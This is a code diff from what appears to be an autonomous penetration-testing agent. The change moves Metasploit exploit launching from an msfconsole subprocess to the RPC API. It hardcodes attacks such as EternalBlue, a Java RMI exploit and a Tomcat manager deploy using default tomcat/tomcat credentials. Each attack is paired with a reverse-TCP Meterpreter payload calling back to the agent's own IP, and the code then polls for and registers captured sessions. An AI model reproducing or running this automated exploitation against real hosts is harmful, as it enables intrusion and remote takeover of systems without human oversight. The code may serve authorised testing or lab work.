@@ -159,52 +159,63 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
159159 source = "msf_executor" ,
160160 ))
161161
162- # Modules that require LHOST and use msfconsole subprocess
163- _CONSOLE_MODULES = {
164- "exploit/multi/http/tomcat_mgr_deploy" : (
165- "java/meterpreter/reverse_tcp" , 4444 ,
166- "set HttpUsername tomcat; set HttpPassword tomcat; "
167- ),
168- "exploit/multi/misc/java_rmi_server" : (
169- "java/meterpreter/reverse_tcp" , 4446 , ""
170- ),
171- "exploit/windows/smb/ms17_010_eternalblue" : (
172- "windows/x64/meterpreter/reverse_tcp" , 4445 , ""
173- ),
162+ # Modules that require LHOST — configured via RPC payload object
163+ _LHOST_MODULES = {
164+ "exploit/multi/http/tomcat_mgr_deploy" : {
165+ "payload" : "java/meterpreter/reverse_tcp" ,
166+ "lport" : 4444 ,
167+ "extra" : {"HttpUsername" : "tomcat" , "HttpPassword" : "tomcat" },
168+ },
169+ "exploit/multi/misc/java_rmi_server" : {
170+ "payload" : "java/meterpreter/reverse_tcp" ,
171+ "lport" : 4446 ,
172+ "extra" : {},
173+ },
174+ "exploit/windows/smb/ms17_010_eternalblue" : {
175+ "payload" : "windows/x64/meterpreter/reverse_tcp" ,
176+ "lport" : 4445 ,
177+ "extra" : {},
178+ },
174179 }
175180
176- def _run_msf_via_console (self , module : str , target : str , port : str ,
177- payload : str , lhost : str , lport : int ,
178- extra_opts : str = "" ) -> str :
179- """Launch msfconsole non-interactively — used when LHOST must be set."""
180- cmd = (
181- f"use { module } ; "
182- f"set RHOSTS { target } ; "
183- f"set RPORT { port } ; "
184- f"set PAYLOAD { payload } ; "
185- f"set LHOST { lhost } ; "
186- f"set LPORT { lport } ; "
187- f"{ extra_opts } "
188- f"set ExitOnSession false; "
189- f"run -z -j; "
190- f"sleep 15; "
191- f"sessions"
192- )
193- print (f"[AGENT] msfconsole: { module } → { target } :{ port } LHOST={ lhost } :{ lport } " )
181+ def _execute_msf_module (self , module_name : str , target_ip : str , port : str ,
182+ payload_name : str , lhost : str , lport : int ) -> str :
194183 try :
195- result = subprocess .run (
196- ["msfconsole" , "-q" , "-x" , cmd ],
197- capture_output = True , text = True , timeout = 60 ,
198- )
199- output = result .stdout + result .stderr
200- print (f"[DEBUG] msfconsole output : { output [- 500 :]} " )
201- return output
202- except FileNotFoundError :
203- logger .warning ("msfconsole not found in PATH" )
204- return ""
205- except subprocess .TimeoutExpired :
206- logger .warning ("msfconsole timed out after 60s" )
207- return ""
184+ module_path = module_name .split ("/" , 1 )[1 ] # strip "exploit/"
185+ exploit = self .msf_client .modules .use ("exploit" , module_path )
186+ exploit ["RHOSTS" ] = target_ip
187+ exploit ["RPORT" ] = str (port )
188+
189+ cfg = self ._LHOST_MODULES .get (module_name , {})
190+ for k , v in cfg .get ("extra" , {}).items ():
191+ exploit [k ] = v
192+
193+ payload = self .msf_client .modules .use ("payload" , payload_name )
194+ payload ["LHOST" ] = lhost
195+ payload ["LPORT" ] = str (lport )
196+
197+ print (f"[DEBUG] Payload options : { payload .options } " )
198+ result = exploit .execute (payload = payload )
199+ print (f"[DEBUG] execute() : { result } " )
200+
201+ for _ in range (30 ):
202+ time .sleep (1 )
203+ sessions = self .msf_client .sessions .list
204+ if sessions :
205+ for sid , sinfo in sessions .items ():
206+ sid_str = str (sid )
207+ if sid_str not in self .state .sessions :
208+ self .state .sessions [sid_str ] = sinfo
209+ self ._handle_new_session (sid_str , sinfo , module_name )
210+ return "success"
211+
212+ return "completed"
213+
214+ except Exception as exc :
215+ print (f"[DEBUG] Exception : { exc } " )
216+ import traceback
217+ traceback .print_exc ()
218+ return "error"
208219
209220 def _execute_exploit (self , decision : Dict ):
210221 host = decision .get ("target_host" , self .state .target )
@@ -220,16 +231,17 @@ def _execute_exploit(self, decision: Dict):
220231
221232 if tool == "metasploit" and self .msf_client :
222233 try :
223- console_cfg = self ._CONSOLE_MODULES .get (module )
224- if console_cfg :
225- # Modules requiring LHOST → subprocess msfconsole
226- payload , lport , extra = console_cfg
234+ lhost_cfg = self ._LHOST_MODULES .get (module )
235+ if lhost_cfg :
236+ # Modules requiring LHOST → RPC API with separate payload object
227237 lhost = self ._get_local_ip ()
228- self ._run_msf_via_console (module , host , port , payload , lhost , lport , extra )
229- # Mark success optimistically and check sessions via RPC
230- result = {"status" : "success" , "output" : "msfconsole launched" }
238+ status = self ._execute_msf_module (
239+ module , host , port ,
240+ lhost_cfg ["payload" ], lhost , lhost_cfg ["lport" ],
241+ )
242+ result = {"status" : status , "output" : f"RPC execute: { module } " }
231243 else :
232- # All other modules → Phase 3 MetasploitEngine via RPC
244+ # vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
233245 from exploitation .metasploit_engine import MetasploitEngine
234246 eng = MetasploitEngine ()
235247 eng ._client = self .msf_client
@@ -245,17 +257,19 @@ def _execute_exploit(self, decision: Dict):
245257 data = {"host" : host , "port" : port , "module" : module },
246258 source = "executor" ,
247259 ))
248- # Accept ALL session types (shell + meterpreter)
249- time .sleep (5 )
250- sessions = self .msf_client .sessions .list or {}
251- print (f"[DEBUG] Toutes sessions : { sessions } " )
252- for sid , sinfo in sessions .items ():
253- stype = sinfo .get ("type" , "" )
254- print (f"[DEBUG] Session { sid } type={ stype } info={ sinfo .get ('info' ,'' )} " )
255- sid_str = str (sid )
256- if sid_str not in self .state .sessions :
257- self .state .sessions [sid_str ] = sinfo
258- self ._handle_new_session (sid_str , sinfo , module )
260+ if lhost_cfg is None :
261+ # LHOST modules handle session detection internally;
262+ # only check here for Phase 3 bind-shell modules
263+ time .sleep (5 )
264+ sessions = self .msf_client .sessions .list or {}
265+ print (f"[DEBUG] Toutes sessions : { sessions } " )
266+ for sid , sinfo in sessions .items ():
267+ stype = sinfo .get ("type" , "" )
268+ print (f"[DEBUG] Session { sid } type={ stype } info={ sinfo .get ('info' ,'' )} " )
269+ sid_str = str (sid )
270+ if sid_str not in self .state .sessions :
271+ self .state .sessions [sid_str ] = sinfo
272+ self ._handle_new_session (sid_str , sinfo , module )
259273 except Exception as exc :
260274 logger .warning (f"Exploit error [{ module } ]: { exc } " )
261275
0 commit comments